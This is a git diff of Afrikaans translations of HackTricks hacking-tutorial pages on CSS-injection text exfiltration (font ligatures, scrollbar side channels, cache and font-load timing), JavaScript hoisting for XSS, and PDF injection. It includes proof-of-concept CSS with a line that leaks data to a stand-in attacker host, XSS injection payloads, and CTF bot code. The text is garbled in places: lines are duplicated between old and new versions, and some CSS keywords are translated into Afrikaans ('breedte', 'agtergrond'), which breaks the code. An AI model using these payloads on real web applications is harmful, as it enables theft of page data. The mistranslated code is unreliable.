**Verwysing:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
**Reference:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
Die tegniek wat beskryf word, behels die onttrekking van teks uit 'n node deur die uitbuiting van letterligature en die monitorering van veranderinge in breedte. Die proses behels verskeie stappe:
Die tegniek wat beskryf word, behels die onttrekking van teks uit 'n node deur fontligatures te benut en veranderinge in breedte te monitor. Die proses behels verskeie stappe:
1. **Skepping van Aangepaste Lettertipes**:
- SVG-lettertipes word geskep met glyphs wat 'n `horiz-adv-x` eienskap het, wat 'n groot breedte instel vir 'n glyph wat 'n twee-karakterreeks voorstel.
- Voorbeeld SVG-glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, waar "XY" 'n twee-karakterreeks aandui.
- Hierdie lettertipes word dan na woff-formaat omskep deur fontforge te gebruik.
1. **Creation of Custom Fonts**:
- SVG-fonts word gemaak met glyphs wat 'n `horiz-adv-x` attribuut het, wat 'n groot breedte vir 'n glyph wat 'n twee-karakter volgorde verteenwoordig, stel.
- Voorbeeld SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, waar "XY" 'n twee-karakter volgorde aandui.
- Hierdie fonts word dan na woff-formaat omgeskakel met fontforge.
2. **Opsporing van Breedteveranderings**:
- CSS word gebruik om te verseker dat teks nie omslaan nie (`white-space: nowrap`) en om die skuifbalkstyl aan te pas.
- Die verskyning van 'n horisontale skuifbalk, wat duidelik gestileer is, tree op as 'n aanwyser (orakel) dat 'n spesifieke ligature, en dus 'n spesifieke karakterreeks, teenwoordig is in die teks.
2. **Detection of Width Changes**:
- CSS word gebruik om te verseker dat teks nie wrap nie (`white-space: nowrap`) en om die scrollbar-styl aan te pas.
- Die verskyning van 'n horisontale scrollbar, wat duidelik gestileer is, dien as 'n aanduiding (oracle) dat 'n spesifieke ligature, en dus 'n spesifieke karakter volgorde, in die teks teenwoordig is.
- Die betrokke CSS:
```css
body { white-space: nowrap };
@ -238,29 +242,29 @@ body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
```
3. **Uitbuitingsproses**:
- **Stap 1**: Lettertipes word geskep vir pare karakters met aansienlike breedte.
- **Stap 2**: 'n Skuifbalk-gebaseerde truuk word gebruik om te bepaal wanneer die groot breedte glyph (ligature vir 'n karakterpaar) gerender word, wat die teenwoordigheid van die karakterreeks aandui.
- **Stap 3**: Na die opsporing van 'n ligature, word nuwe glyphs wat drie-karakterreeks voorstel, gegenereer, wat die opgespoorde paar inkorporeer en 'n voorafgaande of volgende karakter byvoeg.
- **Stap 4**: Opsoeking van die drie-karakter ligature word uitgevoer.
- **Stap 5**: Die proses herhaal, waardeur die hele teks progressief onthul word.
3. **Exploit Process**:
- **Step 1**: Fonts word geskep vir pare van karakters met substansiële breedte.
- **Step 2**: 'n Scrollbar-gebaseerde truuk word gebruik om te detecteer wanneer die groot breedte glyph (ligature vir 'n karakterpaar) gerender word, wat die teenwoordigheid van die karakter volgorde aandui.
- **Step 3**: By die opsporing van 'n ligature, word nuwe glyphs wat drie-karakter volgordes verteenwoordig, gegenereer, wat die opgespoorde paar insluit en 'n voorafgaande of opvolgende karakter byvoeg.
- **Step 4**: Opsporing van die drie-karakter ligature word uitgevoer.
- **Step 5**: Die proses herhaal, wat progressief die hele teks onthul.
4. **Optimering**:
- Die huidige inisialisasiemetode met `<meta refresh=...` is nie optimaal nie.
- 'n Meer doeltreffende benadering kan die CSS `@import` truuk insluit, wat die uitbuiting se prestasie kan verbeter.
4. **Optimization**:
- Die huidige inisialisasiemetode wat `<meta refresh=...` gebruik, is nie optimaal nie.
- 'n Meer doeltreffende benadering kan die CSS `@import` truuk insluit, wat die prestasie van die exploit verbeter.
### Uitlek van teksnode (II): lek van die karakterstel met 'n standaardlettertipe (sonder die nodigheid van eksterne bates) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Verwysing:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Hierdie truuk is vrygestel in hierdie [**Slackers-draad**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with_single\_css\_injection/). Die karakterstel wat in 'n teksnode gebruik word, kan **gelek word deur die standaardlettertipes** wat in die blaaier geïnstalleer is: geen eksterne - of aangepaste - lettertipes is nodig nie.
Hierdie truuk is vrygestel in hierdie [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). Die karakterstel wat in 'n teksnode gebruik word, kan gelek word **met die standaard fonts** wat in die blaaier geïnstalleer is: geen eksterne -of pasgemaakte- fonts is nodig nie.
Die konsep draai om die gebruik van 'n animasie om 'n `div` se breedte inkrementeel uit te brei, wat een karakter op 'n slag van die 'suffix'-deel van die teks na die 'prefix'-deel laat oorgaan. Hierdie proses verdeel die teks effektief in twee afdelings:
Die konsep draai om die gebruik van 'n animasie om 'n `div` se breedte geleidelik uit te brei, wat een karakter op 'n slag toelaat om van die 'suffix' deel van die teks na die 'prefix' deel oor te gaan. Hierdie proses verdeel die teks effektief in twee afdelings:
1. **Prefix**: Die aanvanklike lyn.
2. **Suffix**: Die daaropvolgende lyn(e).
Die oorgangsfases van die karakters sou soos volg lyk:
Die oorgangstadia van die karakters sou soos volg verskyn:
**C**\
ADB
@ -274,16 +278,16 @@ B
**CADB**
Tydens hierdie oorgang word die **unicode-range truuk** gebruik om elke nuwe karakter te identifiseer wanneer dit by die prefix aansluit. Dit word bereik deur die lettertipe na Comic Sans te skakel, wat opvallend langer as die standaardlettertipe is, en gevolglik 'n vertikale skuifbalk veroorsaak. Die verskyning van hierdie skuifbalk onthul indirek die teenwoordigheid van 'n nuwe karakter in die prefix.
Tydens hierdie oorgang word die **unicode-range truuk** gebruik om elke nuwe karakter te identifiseer soos dit by die prefix aansluit. Dit word bereik deur die font na Comic Sans te verander, wat merkbaar hoër is as die standaard font, wat gevolglik 'n vertikale scrollbar aktiveer. Die verskyning van hierdie scrollbar onthul indirek die teenwoordigheid van 'n nuwe karakter in die prefix.
Alhoewel hierdie metode die opsporing van unieke karakters toelaat soos hulle verskyn, spesifiseer dit nie watter karakter herhaal word nie, slegs dat 'n herhaling plaasgevind het.
Alhoewel hierdie metode die opsporing van unieke karakters toelaat soos hulle verskyn, spesifiseer dit nie watter karakter herhaal word nie, net dat 'n herhaling plaasgevind het.
{% hint style="info" %}
Basies word die **unicode-range gebruik om 'n karakter op te spoor**, maar aangesien ons nie 'n eksterne lettertipe wil laai nie, moet ons 'n ander manier vind.\
Wanneer die **karakter gevind** is, word dit die voorafgeïnstalleerde **Comic Sans-lettertipe gegee**, wat die karakter **groter maak** en 'n skuifbalk **aktiveer** wat die gevonde karakter sal **lek**.
Basies, die **unicode-range is gebruik om 'n char te detecteer**, maar aangesien ons nie 'n eksterne font wil laai nie, moet ons 'n ander manier vind.\
Wanneer die **char** gevind word, word dit die vooraf geïnstalleerde **Comic Sans font** gegee, wat die char **groter** maak en **'n scroll bar aktiveer** wat die **gevonde char** sal **lek**.
{% endhint %}
Kyk na die kode wat uit die PoC onttrek is:
Check the code extracted from the PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@ -394,30 +398,29 @@ text-transform: uppercase; /* only capital letters leak */
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```afrikaans
5% { breedte: 120px }
6% { breedte: 140px }
7% { breedte: 0px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
agtergrond: blou;
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertikaal {
agtergrond: blou var(--leak);
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Teksnodus uitlekking (III): lek van die karakterstel met 'n verstek lettertipe deur elemente te versteek (sonder die nodigheid van eksterne bates) <a href="#tekst-node-uitlekking-ii-lek-van-die-karakterstel-met-'n-verstek-lettertipe" id="tekst-node-uitlekking-ii-lek-van-die-karakterstel-met-'n-verstek-lettertipe"></a>
### Text node exfiltration (III): lek die charset met 'n standaard lettertipe deur elemente te verberg (nie eksterne bates benodig nie) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Verwysing:** Dit word genoem as [n onsuksesvolle oplossing in hierdie uiteensetting](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Reference:** Dit word genoem as [n onsuksesvolle oplossing in hierdie skrywe](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Hierdie geval is baie soortgelyk aan die vorige een, maar in hierdie geval is die doel van die maak van spesifieke **karakters groter as ander om iets te versteek** soos 'n knoppie wat nie deur die robot gedruk moet word nie of 'n prent wat nie gelaai sal word nie. So ons kan die aksie meet (of die gebrek aan aksie) en weet of 'n spesifieke karakter binne die teks teenwoordig is.
Hierdie geval is baie soortgelyk aan die vorige een, egter, in hierdie geval is die doel om spesifieke **karakters groter as ander te maak om iets** soos 'n knoppie te verberg sodat dit nie deur die bot gedruk word nie of 'n beeld wat nie gelaai sal word nie. So ons kan die aksie (of die gebrek aan aksie) meet en weet of 'n spesifieke karakter teenwoordig is in die teks.
### Teksnodus uitlekking (III): lek van die karakterstel deur middel van kasheringstyd (sonder die nodigheid van eksterne bates) <a href="#tekst-node-uitlekking-ii-lek-van-die-karakterstel-met-'n-verstek-lettertipe" id="tekst-node-uitlekking-ii-lek-van-die-karakterstel-met-'n-verstek-lettertipe"></a>
### Text node exfiltration (III): lek die charset deur cache tydsberekening (nie eksterne bates benodig nie) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Verwysing:** Dit word genoem as [n onsuksesvolle oplossing in hierdie uiteensetting](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Reference:** Dit word genoem as [n onsuksesvolle oplossing in hierdie skrywe](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
In hierdie geval kan ons probeer om te lek of 'n karakter in die teks is deur 'n vals lettertipe van dieselfde oorsprong te laai:
```css
@ -427,15 +430,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Indien daar 'n ooreenstemming is, sal die **lettertipe vanaf `/static/bootstrap.min.css?q=1` gelaai word**. Alhoewel dit nie suksesvol sal laai nie, moet die **blaaier dit in die skyf stoor**, en selfs al is daar geen skyf nie, is daar 'n **304 nie gewysig nie** meganisme, sodat die **reaksie vinniger moet wees** as ander dinge.
If there is a match, the **font will be loaded from `/static/bootstrap.min.css?q=1`**. Although it wont load successfully, the **browser should cache it**, and even if there is no cache, there is a **304 not modified** mechanism, so the **response should be faster** than other things.
Maar as die tydverskil van die gestoorde reaksie van die nie-gestoorde een nie groot genoeg is nie, sal dit nie nuttig wees nie. Byvoorbeeld, die skrywer het genoem: Na toetsing het ek egter gevind dat die eerste probleem is dat die spoed nie baie verskil nie, en die tweede probleem is dat die bot die `disk-cache-size=1` vlag gebruik, wat werklik deurdag is.
However, if the time difference of the cached response from the non-cached one isn't big enough, this won't be useful. For example, the author mentioned: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the `disk-cache-size=1` flag, which is really thoughtful.
### Teksnodus uitlekking (III): lek van die karakterstel deur die tyd wat dit neem om honderde plaaslike "lettertipes" te laai (sonder om eksterne bates te vereis) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): lek die charset deur die tyd te meet wat dit neem om honderde plaaslike "fonts" te laai (wat nie eksterne bates vereis nie) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Verwysing:** Dit word genoem as [n onsuksesvolle oplossing in hierdie skryfstuk](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
In hierdie geval kan jy **CSS aandui om honderde valse lettertipes** van dieselfde oorsprong te laai wanneer 'n ooreenstemming plaasvind. Op hierdie manier kan jy die **tyd meet** wat dit neem en uitvind of 'n karakter verskyn of nie met iets soos:
In this case you can indicate **CSS to load hundreds of fake fonts** from the same origin when a match occurs. This way you can **measure the time** it takes and find out if a char appears or not with something like:
```css
@font-face {
font-family: "A1";
@ -446,15 +449,15 @@ url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
```
En die kode van die bot lyk so:
En die kode van die bot lyk soos volg:
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
So, as die lettertipe nie ooreenstem nie, word verwag dat die responstyd wanneer die bot besoek word, ongeveer 30 sekondes sal wees. Indien daar egter 'n lettertipe-ooreenkoms is, sal verskeie versoek gestuur word om die lettertipe op te haal, wat veroorsaak dat die netwerk voortdurende aktiwiteit het. As gevolg hiervan sal dit langer neem om aan die stopvoorwaarde te voldoen en die respons te ontvang. Daarom kan die responstyd gebruik word as 'n aanduiding om te bepaal of daar 'n lettertipe-ooreenkoms is.
So, as die lettertipe nie ooreenstem nie, word die reaksietyd wanneer jy die bot besoek, verwag om ongeveer 30 sekondes te wees. As daar egter 'n lettertipe ooreenstemming is, sal verskeie versoeke gestuur word om die lettertipe te verkry, wat die netwerk sal laat voortgaan met aktiwiteit. As gevolg hiervan sal dit langer neem om die stopvoorwaarde te bevredig en die reaksie te ontvang. Daarom kan die reaksietyd as 'n aanduiding gebruik word om te bepaal of daar 'n lettertipe ooreenstemming is.
## Verwysings
## References
* [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
* [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
@ -467,16 +470,17 @@ So, as die lettertipe nie ooreenstem nie, word verwag dat die responstyd wanneer
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,44 +1,46 @@
# JS Hoisting
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basiese Inligting
In die JavaScript-taal word 'n meganisme bekend as **Hoisting** beskryf waar verklarings van veranderlikes, funksies, klasse of invoere konseptueel na die bokant van hul omvang verhoog word voordat die kode uitgevoer word. Hierdie proses word outomaties deur die JavaScript-enjin uitgevoer, wat deur die skripsie in verskeie deurgange gaan.
In die JavaScript-taal word 'n meganisme bekend as **Hoisting** beskryf waar verklarings van veranderlikes, funksies, klasse of invoere konseptueel na die bokant van hul omvang verhef word voordat die kode uitgevoer word. Hierdie proses word outomaties deur die JavaScript-enjin uitgevoer, wat deur die skrip in verskeie passe gaan.
Tydens die eerste deurgang ontleder die enjin die kode om te kyk vir sintaksisfoute en omskep dit in 'n abstrakte sintaksisboom. Hierdie fase sluit hoisting in, 'n proses waar sekere verklarings na die bokant van die uitvoerkonteks verskuif word. As die ontledingsfase suksesvol is, wat dui op geen sintaksisfoute nie, gaan die skripsie-uitvoering voort.
Tydens die eerste pas, ontleed die enjin die kode om te kyk vir sintaksisfoute en transformeer dit in 'n abstrakte sintaksisboom. Hierdie fase sluit hoisting in, 'n proses waar sekere verklarings na die bokant van die uitvoeringskonteks verskuif word. As die ontledingsfase suksesvol is, wat aandui dat daar geen sintaksisfoute is nie, gaan die skripuitvoering voort.
Dit is noodsaaklik om te verstaan dat:
Dit is van kardinale belang om te verstaan dat:
1. Die skripsie vry van sintaksisfoute moet wees vir uitvoering om plaas te vind. Sintaksisreëls moet streng nagekom word.
2. Die plasing van kode binne die skripsie beïnvloed uitvoering as gevolg van hoisting, alhoewel die uitgevoerde kode mag verskil van sy teksuele voorstelling.
1. Die skrip moet vry wees van sintaksisfoute vir uitvoering om plaas te vind. Sintaksisreëls moet streng nagekom word.
2. Die plasing van kode binne die skrip beïnvloed uitvoering as gevolg van hoisting, alhoewel die uitgevoerde kode mag verskil van sy tekstuele voorstelling.
#### Tipes Hoisting
Gebaseer op die inligting van MDN, is daar vier onderskeie tipes hoisting in JavaScript:
Gebaseer op die inligting van MDN, is daar vier duidelike tipes hoisting in JavaScript:
1. **Value Hoisting**: Maak die gebruik van 'n veranderlike se waarde binne sy omvang moontlik voordat dit gedeclareer word.
2. **Declaration Hoisting**: Maak dit moontlik om na 'n veranderlike binne sy omvang te verwys voordat dit gedeclareer word sonder om 'n `ReferenceError` te veroorsaak, maar die waarde van die veranderlike sal `undefined` wees.
3. Hierdie tipe verander die gedrag binne sy omvang as gevolg van die verklaring van die veranderlike voor sy werklike verklaringslyn.
1. **Waarde Hoisting**: Maak die gebruik van 'n veranderlike se waarde binne sy omvang moontlik voordat sy verklaringlyn.
2. **Verklaring Hoisting**: Laat die verwysing na 'n veranderlike binne sy omvang toe voordat sy verklaring, sonder om 'n `ReferenceError` te veroorsaak, maar die veranderlike se waarde sal `undefined` wees.
3. Hierdie tipe verander die gedrag binne sy omvang as gevolg van die veranderlike se verklaring voordat sy werklike verklaringlyn.
4. Die neveneffekte van die verklaring vind plaas voordat die res van die kode wat dit bevat, geëvalueer word.
In detail vertoon funksieverklarings tipe 1 hoisting-gedrag. Die `var` sleutelwoord toon tipe 2-gedrag. Lexikale verklarings, wat `let`, `const` en `class` insluit, toon tipe 3-gedrag. Laastens is `import`-verklarings uniek omdat hulle gehoist word met beide tipe 1- en tipe 4-gedrag.
In detail, funksieverklarings toon tipe 1 hoisting gedrag. Die `var` sleutelwoord demonstreer tipe 2 gedrag. Lexikale verklarings, wat `let`, `const`, en `class` insluit, toon tipe 3 gedrag. Laastens, `import` verklarings is uniek in die sin dat hulle met beide tipe 1 en tipe 4 gedrag gehoist word.
## Scenarios
Daarom, as jy scenarios het waar jy **JS-kode kan inspuit nadat 'n ongedeklareerde voorwerp** gebruik is, kan jy die **sintaksis regmaak** deur dit te deklareer (sodat jou kode uitgevoer word in plaas van om 'n fout te veroorsaak):
## Scenario's
Daarom, as jy scenario's het waar jy **JS kode kan inspuit nadat 'n nie-verklaarde objek** gebruik is, kan jy die **sintaksis regmaak** deur dit te verklaar (sodat jou kode uitgevoer word in plaas daarvan om 'n fout te gooi):
```javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
@ -80,32 +82,7 @@ alert(1);
test.cookie('leo','INJECTION')
test['cookie','injection']
```
## Meer Scenarios
### Scenario 1: Hoisting in JavaScript
### Scenario 1: Hoisting in JavaScript
In JavaScript, hoisting is a behavior where variable and function declarations are moved to the top of their containing scope during the compilation phase. This means that you can use variables and functions before they are actually declared in your code.
In JavaScript, hoisting is 'n gedrag waar variabele- en funksiedeklarasies na die boonste gedeelte van hul omvattende omvang verskuif word gedurende die samestellingsfase. Dit beteken dat jy veranderlikes en funksies kan gebruik voordat hulle werklik in jou kode verklaar word.
For example, consider the following code:
Byvoorbeeld, oorweeg die volgende kode:
```javascript
console.log(x); // Output: undefined
var x = 5;
```
In this example, the variable `x` is declared and assigned a value of `5` after the `console.log` statement. However, when the code is executed, the output is `undefined`. This is because the variable declaration is hoisted to the top of the scope, but the assignment is not hoisted. Therefore, at the time of the `console.log` statement, the variable `x` exists but has not been assigned a value yet.
In hierdie voorbeeld word die veranderlike `x` verklaar en 'n waarde van `5` toegeken na die `console.log`-verklaring. Wanneer die kode egter uitgevoer word, is die uitset `undefined`. Dit is omdat die veranderlike verklaring na die boonste gedeelte van die omvang verskuif word, maar die toekenning nie verskuif word nie. Daarom, op die tydstip van die `console.log`-verklaring, bestaan die veranderlike `x`, maar dit het nog nie 'n waarde gekry nie.
This behavior can be leveraged in cross-site scripting (XSS) attacks to execute malicious code. By injecting JavaScript code that relies on hoisting, an attacker can manipulate the execution flow and potentially gain unauthorized access or perform other malicious actions.
Hierdie gedrag kan benut word in kruis-webwerf-skripsie (XSS) aanvalle om skadelike kode uit te voer. Deur JavaScript-kode in te spuit wat afhanklik is van hoisting, kan 'n aanvaller die uitvoervloei manipuleer en moontlik ongemagtigde toegang verkry of ander skadelike aksies uitvoer.
## Meer Scenario's
```javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
@ -165,16 +142,17 @@ let config;`-alert(1)-`//`+""
* [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
* [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,33 +1,35 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
</details>
**As jou inset in 'n PDF-lêer weerspieël word, kan jy probeer om PDF-data in te spuit om JavaScript uit te voer of die PDF-inhoud te steel.**
Kyk na die pos: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
